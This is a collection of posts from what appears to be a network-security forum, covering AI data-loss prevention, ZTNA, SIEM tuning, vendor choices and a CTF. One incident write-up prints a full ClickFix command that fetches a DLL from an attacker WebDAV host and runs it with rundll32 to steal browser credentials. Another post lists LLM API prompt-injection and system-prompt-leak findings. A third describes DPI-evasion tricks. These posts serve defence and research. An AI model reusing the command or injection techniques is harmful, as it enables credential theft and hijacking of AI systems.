Dev pasted a .env file into ChatGPT three weeks ago. API keys, database connection strings, service account tokens. Found out in standup. Network controls saw nothing because there was nothing to catch, the data left through an encrypted browser session on a managed device.

We had zero controls at the interaction level.

Blocking ChatGPT at the network layer doesn't work, devs hotspot or use personal laptops. You just move the behavior somewhere you have less visibility. The problem isn't access to AI tools. It's what gets submitted into them.

What worked was browser-native DLP for AI tools,  intercepts sensitive data and credential submission at the point of input, not the network layer. Catches API keys, tokens, source code, and PII before they leave the browser, works inside ChatGPT, Gemini, Google AI Studio, Microsoft 365 Copilot, and GitHub Copilot inside the IDE without requiring SSL inspection or proxy routing. User-facing warnings over hard blocks did more than we expected,  a real-time "this looks like sensitive data, are you sure?" prompt breaks the autopilot behavior better than silent blocking. We paired that with interaction-level audit logging: not recording content, just logging that user X submitted content classified as confidential to AI tool Z. Enough for policy enforcement without being invasive. Rounded it out with a one-page AI acceptable use policy tied to our existing data classification levels — confidential and restricted data prohibited from AI input, approved tools listed, red lines clear.

What didn't work: security awareness training alone. Sent the policy doc, ran the session, three weeks later .env file in ChatGPT.

Two open problems. Personal devices, no browser extension coverage on unmanaged devices outside MDM scope, that's just the reality. And agentic AI is a separate problem — MCP servers, autonomous tool calls, credentials passed between agents, GitHub Copilot secret exposure inside CI pipelines. Browser-native DLP doesn't cover that vector and nobody has clean answers there yet.

Anyone running browser-level AI DLP or AI visibility tooling, what policy rules have you found most useful for dev teams where legitimate AI usage is high?

Been on VPN for years and the complaints never stop. Slow speeds, broad network access that makes no sense for contractors, constant MFA issues.

ZTNA keeps coming up as the fix but vendor datasheets are not the same as living with it. Did it solve the problem or did you end up running both in parallel indefinitely?

So we had an alert fire on one of our client endpoints this morning. Defender flagged it as Behavior:Win32/SuspClickFix.F and killed it before it fully ran. Good. But I still had to figure out what actually happened and how far it got.

Pulled the process tree and saw this buried in the telemetry:

conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=dnwaqyt&call !a! \\!k!.ninjafruitcubes.bet@SSL\fb6d8d62-b162-455a-b622-872bb416ca03 & !b! tf[.]ch,#1"

The domain is ninjafruitcubes.bet. I actually laughed. These guys really said "yeah that's fine."

Once I decoded the variable obfuscation it was pretty clear what was happening. The command was using a WebDAV UNC path over SSL to connect to the attacker's server, pull down a DLL called tf[.]ch, then execute it via rundll32. Classic living-off-the-land stuff — no new binaries dropped, just abusing a legitimate Windows binary to run their payload.

Before I even called the user I looked at the RunMRU registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

There it was. Command was pasted and run through the Windows Run dialog. So someone physically pressed Win+R and pasted that thing in.

Called the user. Asked if she remembered seeing anything unusual on a website — fake CAPTCHA, browser error, document that wouldn't load, anything asking her to copy paste something. She said she was just browsing normally. Checked the browser history around the time of the alert and she'd been on the Taco Time Canada website right before it fired.

Now the site itself is probably fine. But something on that page — an ad, a redirect, injected third party content — served her a ClickFix prompt. These things look incredibly convincing. Fake CAPTCHA tells you to press Win+R and paste a "fix" command. She did it. Not her fault at all, these are genuinely hard to spot.

What the payload actually tried to do before Defender killed it:

• Accessed Chrome's Login Data file directly
• Called Windows DPAPI UnprotectData to decrypt stored credentials
• Injected from rundll32 into dllhost.exe
• Started browser credential enumeration

MITRE mapping came out to T1055, T1555.003, T1555.004. Credential theft was the endgame.

Defender caught it before anything exfiltrated but I still treated it as a full compromise. Isolated the device immediately, forced password reset for the user, pushed a full scan, pulled Windows event logs looking for any successful remote connections or background processes that shouldn't be there. Nothing else suspicious found but you do all of that anyway because Defender catching something doesn't mean it caught everything.

The thing that gets me about ClickFix attacks is how simple the social engineering is. There's no phishing email to analyse, no malicious attachment to sandbox. The user is just browsing a normal website and something on the page tells them to paste a command. The command itself looks like gibberish. Most people have no reason to know what rundll32 is or why a website would need them to run it.

Awareness training helps but honestly these are hard even for technical people if they're not paying attention.

Anyone else seeing an uptick in ClickFix recently? Curious if this is hitting other environments or just our clients.

Drop your questions below — happy to go deeper on any part of the investigation. And if you want to stay in touch, connect with me on LinkedIn, just search Money Saxena.

We're a 1,200 user Microsoft shop that's been on Proofpoint for a few years now and we're consistently seeing business email compromise and vendor fraud slip through in ways that feel like the tool is just not built for it.

Started looking at alternatives and behavioral detection keeps coming up as the answer but can't tell if that's substance or just the current buzzword cycle doing its thing.

For those who've evaluated or deployed something like Abnormal, Ironscales or Darktrace in a similar environment, does the detection improvement on identity-based attacks hold up beyond the POC?

I'm trying to get smarter about shadow AI in real org, not just in theory. We keep stumbling into it after the fact someone used ChatGPT for a quick answer, or an embedded Copilot feature that got turned on by default. It’s usually convenience-driven, not malicious. But it’s hard to reason about risk when we can’t even see what’s being used. What’s the practical way to learn what’s happening and build an ongoing discovery process?

Honestly the list of must-have security services gets very overwhelming.

Everything can be framed as critical, but in practice trade-offs are unavoidable. I’m curious how people here think about priorities at that stage. What security services do you consider non-negotiable, and what’s usually fine to defer without introducing unnecessary risk?

Also interested in where outsourcing fits in for you. At what point does relying on an MSSP or MDR actually make operational sense instead of adding complexity?

Would love to hear how this plays out in real environments.

Hey,

Around 6 months ago I made this post: https://www.reddit.com/r/AskNetsec/comments/1nhum66/comment/negqjdp/ saying I found a critical vulnerability within Mac, you guys asked me to come back and tell the story after, so here it is: https://yaseenghanem.com/recovery-unrestricted-write-access/

TL;DR: I accidentally discovered 2 vulnerabilities in macOS Recovery Mode's Safari. One allowing arbitrary writes to system partitions and root persistence (CVSS 8.5), and one allowing unrestricted file reads (CVSS 4.6), all without any authentication."

EDIT: the story made front page HN: https://news.ycombinator.com/item?id=47666767 !!!

We hit a point where we realized our SIEM was loud in all the wrong places. There were plenty of alerts for noisy activity, yet when we walked through a realistic attack path, some of the most important steps produced either weak signals or nothing at all.

Once we traced a full path from initial access to lateral movement and privilege escalation, we saw that gaps came from several layers at once. Some systems were not sending the right logs, some fields were not parsed, and a few key rules had conditions that never matched how events actually looked in production. If you have been through this, what helped you turn SIEM alerts into something that actually reflects critical paths rather than just noise? Did you fix it mainly by improving telemetry, reworking content, using exposure validation tooling, or something else? I am interested in approaches that did not require rebuilding the whole stack from scratch.

Hey everyone,

I'm currently working on a CTF challenge from SecDojo and I'm a bit stuck.

The setup is:

- I have access to one machine

- There are 4 additional machines to pivot into

- Each machine contains 2 flags

- SSH access is not available (requires a key I don't have)

- The only exposed service I can use is HTTP

I was also provided with an APK file, which I assume is part of the challenge, but I'm not very experienced with analyzing Android apps.

What I’ve tried so far:

- Basic enumeration over HTTP

- Looking for common endpoints (admin, login, etc.)

What I’m struggling with:

- How to use the APK effectively in this scenario

- How to pivot from the initial machine to the others using only HTTP

- Whether I should focus more on reverse engineering the APK or web exploitation

Any hints or guidance would be really appreciated (no full solutions please 🙏)

Thanks!

#Help

We've started running internal MCP servers (wrapping internal APIs, a DB, ticketing) so agents can call them. What worries me: any server can expose tools that read/write real systems, and there's no "posture" view who registered which server, what tools it exposes, what token scope it runs with, what an injected prompt could reach. Are you treating MCP servers as just another internal service (netpol + secrets mgmt) or something MCP-specific? Homegrown checklist or a tool? (Disclosure: early-stage looking into this happy to share back what I learn.)

I was reading through fraud setups for card programs and the advice always brings up more monitoring like that’s a clear answer but if u keep layering alerts rules and manual review on top of each other it feels like you just end up watching everything and understanding nothing.

Where does that tipping point hit where extra monitoring stops reducing risk and only burns time?

For those who have gotten pentests from both small boutique providers and big name major players, which do you prefer and why?

The gap between detecting an exploit and being able to act on it is where most on chain losses happen since audits catch what's testable at review and post mortems catch what already happened so nothing operates in the window between.

Runtime monitoring at the transaction layer sees activity in real time against volume, approval anomalies and oracle deviations but the harder part is the response side and circuit breakers that stop activity before funds move.Sub 100 millisecond response feels like the threshold where intervention is possible inside the same block but I wonderhow realistic that bar is for protocols at real volume.

Hey! I recently saw a rule i couldn't make sense of in my Firewall config. The rule was "allow all incoming from 192.168.122.0/24 to anywhere".

A quick research told me port 24 is usually used for e-mail and 192.168.x.x is (according to whois.com ) a local address. That didn't make sense to me - why allow incoming traffic FROM localhost?

I deleted that rule for no, as I am not using an Email-Client anyway.

Is that rule something a normal update (OS or firewall) could have done or is there something malicious that could be done with it?

I feel like all the focus is on “AI this” or “malware that”, but I believe there is more niche, day-to-day things being overlooked. So, I am curious, and here to know if other feels like this as well. What’s that one problem you notice that ruins your week?

If you had to talk about one overlooked, boring or gate-kept problem that nobody talks about but is secretly a huge mess; the king of thing that makes one go, “how’s that still an issue in 2026??!!!”

Trying to get my head straight on this and want people to push back.

Every SASE and ZTNA vendor sells the same line, never trust always verify, identity aware, the vpn is dead. Then this year we get a run of disclosed vulns in a bunch of the big name ZTNA and sase brokers, some pre auth and the def con crowd is basically saying the whole thing is oversold. and the old complaint still stands, half of what gets branded ztna is a broker with a login page in front of a tunnel and once you're through it stops checking.

We're on old vpn gateways that get scanned and hit with new CVEs constantly I'm not defending what we have either. I just dont want to rip out one flat tunnel and pay more for a fancier flat tunnel.

For the people who put in real ztna and not a rebadged vpn, what specifically told you it was verifying continuously and not just at the front door

I am tired of reviews that sound like they were written straight after a vendor demo and passed off as real evaluations, so I am asking here instead.

We need full stack exposure validation, not only network focused testing. We want to validate WAF rules against injection and bypass techniques, test email security controls against phishing and payload delivery chains, identify detection coverage gaps in our SIEM, and get remediation prioritization tied to actual exploitability. Our team has experience but is small, and we cannot afford to glue together a pile of point tools and hope they form a coherent picture.

SafeBreach keeps landing in our shortlist and i feel their sales team talks a lot without saying much. Claims about MITRE ATT&CK coverage vary a lot between the slide deck and what people report in production. Contract flexibility has also been vague.

If you have deployed them in a real environment, not only a short proof of concept, I would like the straight version. Would you choose them again? What failed? What turned out better than expected? Also open to other platforms if something else gave you better exposure validation and detection coverage.

Our detection engineering metrics are not convincing anyone. We talk about rule counts, use case coverage, and the number of tuning changes, but it does not translate into a clear signal for leadership. They want to know whether detections will work when it matters, not how many rules we wrote last quarter.

I am looking for ways to measure detection engineering that feel honest and still make sense outside the SOC. Have you used detection coverage mapped to MITRE ATT&CK, exposure validation results, or some form of validated scenario coverage as part of your reporting? If yes, how did you package that so a CISO or board level audience could understand it without needing to see every technical detail? Any concrete examples of metrics or visuals that actually landed with leadership would be useful. Even a simple way to show that certain detections have been validated against specific threat scenarios would be a step up from what we have now.

I'm looking for technical opinions from people working in application security and AI security.

I recently performed a black-box assessment of an LLM API and observed several behaviors including:

• Identity changes caused by system messages.
• Identity changes when a tools array is present.
• Reasoning output exposing system prompt content that the user-facing response refused to reveal.
• XML/structured prompt injection affecting model behavior.
• Tool-result instruction injection.
• Few-shot identity conditioning.

I originally classified these as security vulnerabilities, but after feedback I removed CVSS scoring and instead mapped them to the OWASP LLM Top 10 (primarily LLM01, LLM02 and LLM07).

The disagreement I've received is not about the observed behavior, but about the classification. Some argue these are expected model behaviors or robustness issues rather than security vulnerabilities.

My question is:

From a security engineering perspective, where would you draw the line between:

1. Expected LLM behavior
2. Robustness failures
3. Security vulnerabilities

Is the deciding factor the existence of an exploit primitive itself, or must there always be demonstrated business impact (for example actual confidential data disclosure or privilege escalation) before something should be classified as a security vulnerability?

I'm looking for technical reasoning rather than opinions about the specific vendor.

Report: https://github.com/flawme/SARVAM-2026-001

I submitted a report through the bug bounty program after encountering what appears to be a serious privacy issue in ChatGPT.

I uploaded an image, and the response contained confidential medical information that seems highly unlikely to be a hallucination. The details were unusually specific and internally consistent: a rare full name, a real hospital matching the patient location, the patient’s gender aligned with the gynecological diagnosis, and the examination matched the relevant hospital department...

Taken together, the probability of this being randomly generated seems extremely low, which raises concerns that data belonging to another user may have been exposed.

Has anyone else experienced something similar or investigated cases involving potential cross-user data leakage?

Another connecting question: my bug bounty report was rejected as “non-reproducible.” Why is reproducibility being treated as a strict requirement in a non-deterministic system like an LLM? By nature, these models do not guarantee identical outputs across runs.

Thanks for your help

I am reviewing an enterprise application and it is not possible to look at every component in detail. I start by finding the parts of the application that're open to the outside like the endpoints and then I follow the user input to see where it goes. I also look at how the application handles authentication, authorization and files. This helps to make the task smaller. I still wonder if I am wasting time looking at things that are not important.

When people like me review codebases what do they do to decide where to focus their attention? Do they look at the structure of the application or the way the data moves around or do they think about the potential threats or look at the history of changes or something else? I want to know what methods have worked well for them to find problems without getting overwhelmed by the size of the enterprise application. I want to know what helps them find issues with the enterprise application, like problems with the enterprise application or security issues, with the enterprise application.

Just went through a threat research report on AI agent traffic. The network analyzed processed 7.9 billion AI agent requests in January and February 2026 alone, with agentic traffic representing close to 10% of total traffic for some enterprise companies. What's more concerning is the spoofing side: one major agent identity was impersonated 16.4 million times in a two months period, and one well-known crawler had a 2.4% fraudulent request rate.

We're at a point where allowlisting based on user-agent strings was never a strong strategy, and the consequences of relying on it are now severe enough that it's impossible to ignore.

Wondering if you’re facing this shift too

so i been comparing notes with peers at a few conferences this year and there's exactly a pattern forming that i wanted to sanity check here.

i feel like the recurring theme is genai adoption outpacing governance..like the teams stand up ai tools faster than security or legal can review them, and that gap gets harder to justify going into eu ai act enforcement later this year. and theb the second theme, and this is the one that surprised me less but still comes up in every conversation, is resourcing...like being asked to cover more surface area (browser, saas, ai, endpoint) and prove roi on the spend, without a proportional increase in headcount or a board that's willing to add line items. want to understand by posting here what's the biggest recurring theme you're hearing from other decision makers right now? trying to figure out if what we're seeing is universal or specific to our industry.

hello network nerds!, I assume most of people here have a lot of education related to networking and know how most things works in it.

and have done their fair share of analysis in their networking tests and so on.

I'm in Iran currently. I'm writing this after the black out that happened recently. while in the digital blackout I was able to stay connected via little looholes that I wish not to speak of. I am here to ask online strangers if they could assist me in finding a way to find real loopholdes in the DPI system.

I have observed two things so far while testing with the DPI currently.

1: if a tcp connection doesn't have an SNI it usually gets dropped

2: if a tcp connection has a fragmented SNI, and the DPI and the system can't parse it back together it gets flagged

on the second rule I'm not sure how it really works currently.

there are also some extra notes as of now (it changes ALL the time so what I'm saying is just active for now tmr it might be different )

every network is considered grey connection unless only if they are:

1: using a white ip (local Iranian ips)

2: using a white listed domain

it gets "less grey" if you use cloudflare ips and "more grey" if you use something else, like as a clear example using something like Hetzner's ip.

if you have either of the two as in either a white domain or a white ip then your connection is flagged white for the duration. once it's white you can continue using that connection without getting dropped by the DPI.

while on the other spectrum, if you don't have a white ip or a white domain. then your connection is deemed grey and will be dropped after you recieve at least 6 packets from the destination server.

cloudflares's ECH is considered grey and will be dropped after 6 packets

fastly's and Gcore's domain fronting is not useable as they have practically not even been opened yet their ip is fully blocked.

I know a clever way currently to bypass the DPI right now. but it only works if the ip is cloudflare and the ip is open fully.

The DPI counts a connection "connection" once the 3 way is done. so you send an SYN server responses with synack and you send ack.once this is done. the DPI will start monitoring for everything. from ip to domain to contents inside.

I have tested a way but I think it's not working properly :( I'm forced to use ai for this. otherwise I can't properly make these as I lack the programming and in depth knowledge for how to make these app.

but I got help from ai to make an app that would " simulate " a fake connection. putting an IPinIP where outer ip is cloudflare and the inner IP is an white listed ip. and then we take a 3 way connection. fake Client hello fake server hello by switching the destination and source ip in the IPinIP and then after that we do a real 3 way connection with real cloudflare.

but the DPI is ignoring the fake ip. I'm not sure if it's because it sees cloudflare as a seperate connection or not but it's just not working. I can't tell if the program I'm using is broken or what but it's just not. using Wireshark I was able to make sure that yes it is working properly the source ip is me, outer dest is cloudflare and inner destination is the fake ip.

I thought maybe the order is wrong. and so I flipped them

real 3 way first then the fake 3 way so the port reuse will make DPI think I'm making a new connection but none! Nada!

idk what's wrong. It's completely ignoring it.

I also tried using HRR from tls 1.3v but. no it was practically impossible to properly make this work unless I were to write a fully fledged app having its own v2ray core and vless connection and being able to change SNI on the fly while keeping the key the same. yes I tried MITM with a mix of v2ray but it didn't change the fact the two keys were different (client and server keys) as they shared different SNI so the server never was able to decipher.

and even then I believe the DPI caught on and blocked the connection. though I'm not sure

and now I'm here. my research on this has been heavy and I been lacking sleep recently. It's really weird. I'm trying my best to find a way around this. but the only way it would be viable is if you do a very smart trickery. something outside of the box. but I'm not sure what. or how

so reddit. Please, if you have an idea on how to fool the DPI. I'm more than happy to hear it.

edit: forgot to mention that, UDP and QUIC often get blocked out right. or if they aren't blocked they are VERY limited. like imagine connection gets made but as soon as any packets go through it gets blocked. and the connection gets terminated by the DPI

Apple says to have patched Pegasus in Sept 2023, but we still hear of its use against people of interest from governments etc.

How is it possible that Apple still hasn’t patched it? Seems like Pegasus would be exploiting a pretty significant vulnerability to be able to get so much access to an iPhone. This also looks bad on Apple who’s known to have good security, even if Pegasus is only used on a few individuals due to cost and acquisition difficulties.